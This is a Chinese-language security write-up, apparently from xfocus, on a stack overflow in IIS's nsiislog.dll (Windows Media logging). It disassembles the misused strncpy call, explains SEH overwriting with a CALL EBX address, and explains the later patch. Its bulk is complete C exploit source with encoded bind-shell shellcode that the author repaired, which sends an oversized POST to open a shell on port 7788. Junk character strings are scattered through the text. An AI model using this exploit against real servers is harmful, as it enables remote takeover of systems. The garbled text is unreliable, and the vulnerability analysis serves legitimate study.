vIIS的NSIISLOG.DLL溢出问题分析

韩冰

作者：FLASHSKY 0 y! c3 l7 l" x- E5 x: Q" c( ISITE：_blank>WWW.XFOCUS.NET，_blank>WWW.SHOPSKY.COM ' H+ g }& I. O3 ^" t9 p; }/ X邮件：flashsky@xfocus.org 作者单位：启明星辰积极防御实验室 # N1 f& o5 a% m1 y 3 P" I& t% l0 r W实行积分制了，写点垃圾文章赚点子啊，大家别拿鸡蛋砸我。 " F0 y: I2 B a3 y9 w溢出漏洞原因分析： 导致溢出的代码就在NSIISLOG.DLL中，如下 8 A4 G% J" d i1 c4 p.text:40F01B08 mov ecx, esi .text:40F01B0A call dword ptr [eax+8] & V. P( f! z* \5 c& i.text:40F01B0D push eax <----------------计算的POST数据长度 .text:40F01B0E mov ecx, ebx .text:40F01B10 push [ebp+arg_4] <----------------POST数据的BUFFER .text:40F01B13 call sub_40F01EEE ######################################################################################################### sub_40F01EEE函数内容： $ D5 }. b+ `9 { g o/ w.text:40F01EEE push ebp 1 T' X. L5 M& O% U( l.text:40F01EEF mov ebp, esp .text:40F01EF1 mov eax, 1104h .text:40F01EF6 call sub_40F02B80 〈-----------------分配缓冲区，按含ESP-0X1104的调用 ' V; N L+ o4 T, R7 z.text:40F01EFB push ebx 8 I: A! M, Y" A& v" [! |- A.text:40F01EFC push esi , }% b9 G/ Y1 |0 g1 v.text:40F01EFD mov ebx, [ebp+arg_4] % c* R. i9 `& |/ }" l1 [.text:40F01F00 push edi 〈-------------------导致溢出的参数，本来应该是被溢出的缓冲区的长度 ( {$ Z8 c0 o: b.text:40F01F01 mov edi, [ebp+arg_8] 这里却传成了POST数据的长度 .text:40F01F04 or ecx, 0FFFFFFFFh ' Z+ C# U6 n0 J7 K+ c& H.text:40F01F07 xor eax, eax - _7 Q& M/ _! K7 O2 |.text:40F01F09 push ebx i1 g# a) Y- }! Z0 P Z5 p) o- @. K& O.text:40F01F0A repne scasb ) Q7 p7 t- {5 B% `( A9 V, C.text:40F01F0C push [ebp+arg_0] 〈----------------------我们POST的数据 .text:40F01F0F lea eax, [ebp+var_1104] .text:40F01F15 not ecx " s H7 ?* X6 j3 Z. B$ D/ V; E8 {5 k.text:40F01F17 dec ecx .text:40F01F18 push eax 〈------------------------被溢出的缓冲区 * c% W) s' E5 M% Q/ f/ A, U8 D.text:40F01F19 mov [ebp+var_4], ecx .text:40F01F1C call ds:strncpy 〈-----------------------导致溢出的调用 ############################################################################################################## : R# _5 s! m' |: j; B7 E溢出原因： strncpy这个调用本来是安全函数调用的，原形是： 1 x% z- i S, ~" F m5 ]strncpy（BUF1，BUF2，BUF1MAXLEN） 但是在这个调用中，调用者误使这个函数的调用成如下方式了： strncpy（BUF1，BUF2，BUF2MAXLEN），这样第三个参数本来应该是BUF1MAXLEN来限制可能导致溢出的调用就成了无用的摆设。 . R+ ?3 p6 }4 T* J. ?, Z( w9 j0 P我们可以计算出返回地址的覆盖点是： / p+ x, T n( P5 K; O7 f 0X1104+4（EBP占用的地址）=0x1108，那么需要0X110C个字节，注意POST的数据在覆盖中不能存在0x0,否则strncpy会自动用0添满后面的数据。 ; e4 R0 s0 t9 W M# z. e7 V- _ 溢出攻击实现： 但是在函数返回以前我们发现会引发函数的异常（主要是后面的strspn调用中），那么我们就得想法覆盖异常结构。（当然如果你可以精巧设计你自己覆盖的内容不导致异常也是可以的，不过这样太麻烦了），nsiislog.dll自己并没有异常处理程序，那么需要我们覆盖默认的异常结构处理地址，我们可以通过累加所有调用堆栈的大小计算得出此地址距离我们溢出缓冲区的距离是0X2708。 另外需要考虑的问题就是在触发异常之前，如果应用程序对我们的SHELLCODE进行了操作则会导致一些问题，那么我们最好使得在STRNCPY中就出发缓冲。（这个溢出中，会转换EBP之前的一些数据的大小写，也会截断添加一条消息。当然我们也可以精巧设置SHELLCODE的位置，不过返回地址不是很好设置）。 那么我们需要比0X270C更长的地址导致地址访问违反例，这个长度是和当前缓冲大小相关的（到下一个地址段，如0X8CXXXX-〉0X8D0000就会引发异常）： 0 C- H! t/ l( L7 O1 P7 {& A4 D考虑这个问题，我们的缓冲放置0x10000以上长度的数据(当然一般25000左右就基本能导致在STRNCPY里的异常了），就能绝对保证在strncpy中引发异常了。 下面我们就要寻找一个CALL EBX或JMP EBX的地址了（因为是覆盖异常结构），这个地址其实在NSIISLOG.DLL中就有很多，这样就能避免很多版本要求的问题。 # q, {7 c; b8 |# i" w这里再给大家分析一下为什么溢出异常结构之后要找CALL（JMP）EBX的原理 首先异常结构链结构如下 DWORD PNEXT 下一个异常结构地址指针 * `4 |) e" {3 n* L! A; `DWORD FUNADDR 当前处理函数入口地址 7 A- v1 @& q: d0 `7 J, ^. E 7 b& q0 a$ r6 g- z在KiUserExceptionDispatcher中的处理是如下方式的： 77f8e4ca ff7304 push dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c <-------------EBX+4就是当前异常处理函数调用地址，EBX就是异常结构地址，由于可能要处理下一个异常链，所以EBX就保存了下来未做修改，这样在我们覆盖了EBX+4的异常处理函数调用地址后找到CALL（JMP）EBX就可以到达我们可以控制的一个内存区域。 6 f( Y# W0 Q9 F77f8e4cd 8d45f0 lea eax,[ebp-0x10] 77f8e4d0 50 push eax 77f8e4d1 ff750c push dword ptr [ebp+0xc] , g0 K* _: B% N* n' _/ U7 \77f8e4d4 53 push ebx 77f8e4d5 56 push esi 77f8e4d6 e83affffff call ntdll!RtlSetBits+0x305 (77f8e415) * s6 F8 v! K0 I8 Y ############################################################################### 77f8e42f ff7514 push dword ptr [ebp+0x14] 77f8e432 ff7510 push dword ptr [ebp+0x10] 77f8e435 ff750c push dword ptr [ebp+0xc] 7 u' S8 A, R- }8 i' B! C77f8e438 ff7508 push dword ptr [ebp+0x8] / n* k1 Y4 e3 ]# \* V n, I5 M77f8e43b 8b4d18 mov ecx,[ebp+0x18] <-------------这里就是溢出的异常结构地址 # y8 [5 Z8 [5 M+ q6 ?5 O77f8e43e ffd1 call ecx {nsiislog+0x135c (40f0135c)} ############################################################################### ! S" p: x4 }9 m7 N# Y' ?这里需要注意的是：找到的返回地址是在[ebx+4]上，而调用CALL EBX也要把这个地址内存的内容当指令执行，所以EBX（异常结构前）的地址的内容应该是跳过 EBX+4（被覆盖的异常结构地址）的，下面就是一个EXP代码，使用了ISNO的SHELLCODE（我拿到的这个SHELLCODE有点小毛病，使得只能连上无法执行指令，已修改），执行以后TELNET IP 7788 ############################################################################### - T3 C0 T- J4 Q1 ?#include <stdio.h> Z7 c6 l' m. x3 M7 B( K' w#include <winsock2.h> #include <stdlib.h> . u# D6 B8 O& t ], l#include <errno.h> #include <string.h> . R- K$ E/ Z% K. I4 H$ o, S , C7 G1 E# g9 `, P% qchar *hostName = NULL; unsigned char shellcode[]= "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90" # X- w& k S; t$ B8 D "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa" "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36" 0 G! t7 I) b; W' v E5 b' z4 y( Z "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97" "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14" "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2" "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14" 8 }* L+ C- Z- @ "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5" "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1" 9 D& H: q# j# q" Z# _1 |) Y4 ^% Q1 m "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16" "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68" " {+ t! T' I7 h# d "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1" " s+ p2 j4 l- V& t# j) E "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94" ; |" {6 Z5 d1 d4 V "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4" "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68" "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57" " u; j/ k; H1 B: W, W "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4" "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4" y" o; G1 ^- h "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5" $ a M5 }, `8 x "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68" 6 y) N6 J3 b5 J( R. ~* Y$ W' o "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67" "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1" "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf" "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab" "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0" + M. A" O6 X' g9 B) S% l "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4" "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0" + T+ J7 V1 _( P% G+ l% ~+ O* j "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56" "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7" # Y& E% v' D8 S; b) L6 M4 a "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57" "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4" "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f" //这里修改了一下错误的SHELLCODE，原来的是 \xc0\x6b\xa4\x5e\xc6\xc7， 5 h2 H# a0 {' V0 T' m' k //把WRITEFILE的最后2个参数传反了，导致写入管道失败，这样就无法传入命令 * s- e/ s6 R A$ W // 原来的： PUSH EDI（是一个地址） 修改后： XOR ECX ECX . b6 M. A$ V& i" } // XOR ECX ECX PUSH ECX // PUSH ECX PUSH EDI // PUSH EAX （收到的缓冲字节数） PUSH EAX // PUSH ESI （缓冲指针） PUSH ESI // PUSH [EDX-54] PUSH [EDX-54] // CALL WRITEFILE CALL WRITEFILE : Z9 X4 {$ l0 a# g6 [: c // 会导致写入管道失败 ' @9 p( R( g- O: S. g' S "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xa4\x5e\xc6\xc0\xc7" "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68" + m* C4 p- ]8 y) g0 c "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f" "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75" "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0" "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5" . h, e# G; F* n8 u9 a" s "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2" "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6" ' {7 A8 e0 Q3 T "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97" 5 F2 y9 d$ v# l "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc" "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb" 5 X* |$ Y# |/ I "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97" "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2" "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4" "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97" "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2" "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97" "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97" ; x' _5 R" W+ q3 X1 U! z# P "\x68\x68\x68\x68"; 8 j- G D: i' {) R ?. J 5 ~1 @/ l& e( s9 e' `* X6 E* N$ xvoid main (int argc, char **argv) { WSADATA WSAData; . L2 s# r0 q2 i' f6 b SOCKET s; $ ~; B! T/ S! ?$ W$ Y6 W, Z" s SOCKADDR_IN addr_in; . N ^$ y. H7 [ unsigned char buf[1000]; unsigned char testbuf[0x10000]; int len; char t1[]="POST /scripts/nsiislog.dll HTTP/1.1\r\nHost: 192.168.10.210\r\nContent-length: 65536\r\n\r\n";//4364 5 \* {8 \" B+ I2 S, ?( o 4 k" C; N0 R2 S' k9 P if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); # c9 U& a* @ U' x return; % I& b9 p; t9 @ {" a' D1 o+ ` } / O- b3 D% s1 W/ q' x 8 u$ s# Y! [/ D2 b ( R$ F) k: K3 {: P3 k: @/ q hostName = argv[1]; ! F5 K( a1 k5 B+ e3 c- w addr_in.sin_family=AF_INET; * o# @# O. c5 d" n addr_in.sin_port=htons(80); addr_in.sin_addr.S_un.S_addr=inet_addr(hostName); * g% e% p8 M1 h/ v memset(testbuf,0,0x10000); if ((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { 9 e9 F: b+ n. I) n5 L; w0 l printf("Socket failed.Error:%d\n",WSAGetLastError()); return; 4 Z) k5 J3 d, l* g/ b& [4 p7 K } % ?5 m- \; f+ e* @ if(WSAConnect(s,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) 1 Z' u" u6 ~3 ~, t% | v { ( \" k8 v- s( {/ D printf("Connect failed.Error:%d",WSAGetLastError()); 5 e M) C$ h, p; x1 e, P return; $ X9 v6 c h! `. [' Y, _+ } } $ T' l1 Y! O/ b len=sizeof(t1)-1; memcpy(testbuf,t1,len); send(s,testbuf,len,0); recv(s,buf,1000,0); 1 t: _+ |& v7 w& i8 P memset(testbuf,'A',65536);//4364 ' Y7 _. _1 ?. U7 P( n8 y. F; x len=65536;//4364; , A5 n; R" l$ S: N* X: B8 o *(DWORD *)(testbuf+0x2704)=0x04eb06eb;//jmp过覆盖的异常地址 5 O/ ^) f* V, \3 a *(DWORD *)(testbuf+0x2708)=0x40F0135c;//覆盖异常结构的值 9 w! d! G, E* D! |3 k- z memcpy(testbuf+0x270c,shellcode,sizeof(shellcode)); 9 [5 X0 t0 \; e( I: b z send(s,testbuf,len,0); closesocket (s); " l7 ~! {0 ^/ d+ d- s6 t* Q0 ~ WSACleanup(); return; 9 ^% I2 X' {; Y' Y9 c9 p* W. o" {} . W& z4 P8 f- ?$ M; }2 x ######################################################################################################################## ) ^( s+ r4 M2 r. s3 v + n1 E5 L2 S; f* W) l) ^补丁机理： WindowsMedia41-KB822343-x86-CHS.exe补丁补掉了这个漏洞，如下： .text:40F01FCA mov eax, 1100h 1 a; w: I7 K5 Y! i! L% t7 p7 U.text:40F01FCF call sub_40F02D30 .text:40F01FD4 push ebx .text:40F01FD5 push esi 2 U3 f j( x/ R2 M+ t.text:40F01FD6 push edi 6 z8 m3 L6 T& A A2 K.text:40F01FD7 mov edi, [ebp+arg_8] .text:40F01FDA or ecx, 0FFFFFFFFh .text:40F01FDD xor eax, eax ' i' R/ Y2 f+ g- c J.text:40F01FDF repne scasb .text:40F01FE1 mov esi, [ebp+arg_4] .text:40F01FE4 mov eax, 0FFFh 〈-----------------------强制EAX=0XFFF（小于分配的空间0X1100）； .text:40F01FE9 not ecx .text:40F01FEB dec ecx ) j) t/ ^4 c$ H6 k L.text:40F01FEC cmp esi, eax 〈------------------------比较是否超过 ; L# S0 P' c+ O" G/ b+ U& I0 ^9 c.text:40F01FEE mov ebx, ecx .text:40F01FF0 jbe short loc_40F01FF4 # |3 N: Z8 s2 @0 `.text:40F01FF2 mov esi, eax 〈----------------------STRNCPY的第三个参数不会超过0XFFF，这样就不会溢出 4 p0 z- h' N6 k k+ ?.text:40F01FF4 .text:40F01FF4 loc_40F01FF4: ; CODE XREF: sub_40F01FC7+29j ! u. ]3 e, I$ t+ ^2 `, h5 [2 f.text:40F01FF4 push esi .text:40F01FF5 lea eax, [ebp+var_1100] .text:40F01FFB push [ebp+arg_0] .text:40F01FFE push eax .text:40F01FFF call ds:strncpy